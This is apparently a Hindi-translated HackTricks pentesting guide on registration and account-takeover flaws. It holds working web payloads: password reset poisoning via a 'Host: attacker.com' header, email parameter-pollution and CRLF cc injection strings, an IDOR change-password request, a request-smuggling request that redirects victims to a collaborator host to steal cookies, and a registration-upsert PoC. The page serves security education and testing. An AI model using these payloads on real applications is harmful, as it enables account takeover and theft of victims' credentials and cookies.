पंजीकरण और Takeover Vulnerabilities

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Registration Takeover

Duplicate Registration

  • मौजूदा username का उपयोग करके जनरेट करने की कोशिश करें
  • email को बदलकर जांचें:
  • uppercase
  • +1@
  • ईमेल में कुछ dot जोड़ें
  • ईमेल नाम में special characters जोड़ें (%00, %09, %20)
  • ईमेल के बाद black characters डालें: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

जाँचें कि क्या आप यह पता लगा सकते हैं कि किसी username को एप्लिकेशन में पहले से रजिस्टर किया गया है या नहीं।

Password Policy

किसी user को बनाते समय password policy की जांच करें (देखें कि क्या आप weak passwords का उपयोग कर सकते हैं)।
ऐसी स्थिति में आप credentials को bruteforce करने की कोशिश कर सकते हैं।

SQL Injection

Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

रजिस्टर करने के बाद email बदलने की कोशिश करें और जांचें कि क्या यह परिवर्तन सही ढंग से validate होता है या क्या इसे arbitrary emails में बदला जा सकता है।

More Checks

  • जांचें कि क्या आप disposable emails का उपयोग कर सकते हैं
  • Long password (>200) से DoS हो सकता है
  • Check rate limits on account creation
  • username@burp_collab.net का उपयोग करें और callback का विश्लेषण करें

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. अपने email पते पर password reset request करें
  2. password reset लिंक पर क्लिक करें
  3. पासवर्ड बदलें नहीं
  4. किसी भी 3rd party वेबसाइट (उदा.: Facebook, twitter) पर क्लिक करें
  5. Burp Suite proxy में request को intercept करें
  6. Check if the referer header is leaking password reset token.

Password Reset Poisoning

  1. Burp Suite में password reset request को intercept करें
  2. Burp Suite में निम्न headers जोड़ें या edit करें: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. बदले हुए header के साथ request को forward करें
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. host header पर आधारित किसी password reset URL की तलाश करें, जैसे : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Attacker को अपने अकाउंट से लॉगइन करके Change password फीचर पर जाना होगा।
  2. Burp Suite शुरू करें और request को Intercept करें।
  3. इसे Repeater tab में भेजें और parameters संपादित करें : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

Password reset token को हर बार randomly generate और unique होना चाहिए।
यह पता करने की कोशिश करें कि token expire होता है या हमेशा वही रहता है; कुछ मामलों में generation algorithm कमजोर होता है और अनुमान लगाया जा सकता है। निम्नलिखित variables algorithm द्वारा उपयोग किए जा सकते हैं।

  • Timestamp
  • UserID
  • User का Email
  • Firstname और Lastname
  • Date of Birth
  • Cryptography
  • केवल नंबर
  • छोटी token sequence ( characters between [A-Z,a-z,0-9])
  • Token का पुन: उपयोग
  • Token की expiration date

Leaking Password Reset Token

  1. API/UI का इस्तेमाल करके किसी specific email के लिए password reset request ट्रिगर करें, उदाहरण: test@mail.com
  2. server response को Inspect करें और resetToken देखें
  3. फिर उस token को इस तरह की URL में उपयोग करें: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. सिस्टम पर ऐसा username register करें जो victim के username के समान हो, लेकिन username के पहले और/या बाद में white spaces डालें। उदाहरण: "admin "
  2. अपनी malicious username से password reset request करें।
  3. अपने ईमेल पर भेजा गया token उपयोग करके victim का password reset करें।
  4. नए password से victim के अकाउंट में लॉगिन करें।

CTFd प्लेटफ़ॉर्म इस attack के प्रति vulnerable था।
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. एप्लिकेशन या किसी subdomain में XSS ढूंढें अगर cookies parent domain पर scoped हैं: *.domain.com
  2. वर्तमान sessions cookie को leak करें
  3. cookie का उपयोग करके उपयोगकर्ता के रूप में authenticate करें

Account Takeover Via HTTP Request Smuggling

1. smuggler का उपयोग करके HTTP Request Smuggling का प्रकार पता करें (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. एक request तैयार करें जो POST / HTTP/1.1 को निम्न data से overwrite करेगा:
GET http://something.burpcollaborator.net HTTP/1.1 X: जिसका उद्देश्य victims को burpcollab पर open redirect करना और उनकी cookies चुराना है
3. अंतिम request नीचे जैसा दिख सकता है

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone ने इस बग के शोषण की रिपोर्ट दी
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

CSRF के माध्यम से खाता अधिग्रहण

  1. CSRF के लिए एक payload बनाएं, उदाहरण: “HTML form with auto submit for a password change”
  2. उस payload को भेजें

JWT के माध्यम से खाता अधिग्रहण

JSON Web Token का उपयोग किसी उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।

  • JWT को किसी अन्य User ID / Email के साथ संपादित करें
  • कमजोर JWT signature के लिए जाँच करें

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

कुछ signup handlers तब upsert करते हैं जब दिया गया email पहले से मौजूद हो। अगर endpoint एक minimal body (केवल email और password) स्वीकार करता है और ownership verification लागू नहीं करता, तो पीड़ित का email भेजने पर उनका password pre-auth ओवरराइट हो जाएगा।

  • Discovery: bundled JS (or mobile app traffic) से endpoint नाम इकट्ठा करें, फिर ffuf/dirsearch का उपयोग करके /parents/application/v4/admin/FUZZ जैसे base paths को fuzz करें।
  • Method hints: GET से लौटने वाले संदेश जैसे "Only POST request is allowed." अक्सर सही verb और यह दर्शाते हैं कि JSON body की अपेक्षा है।
  • वास्तविक मामलों में देखी गई न्यूनतम body:
json
{"email":"victim@example.com","password":"New@12345"}

उदाहरण PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

प्रभाव: Full Account Takeover (ATO) without any reset token, OTP, or email verification.

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें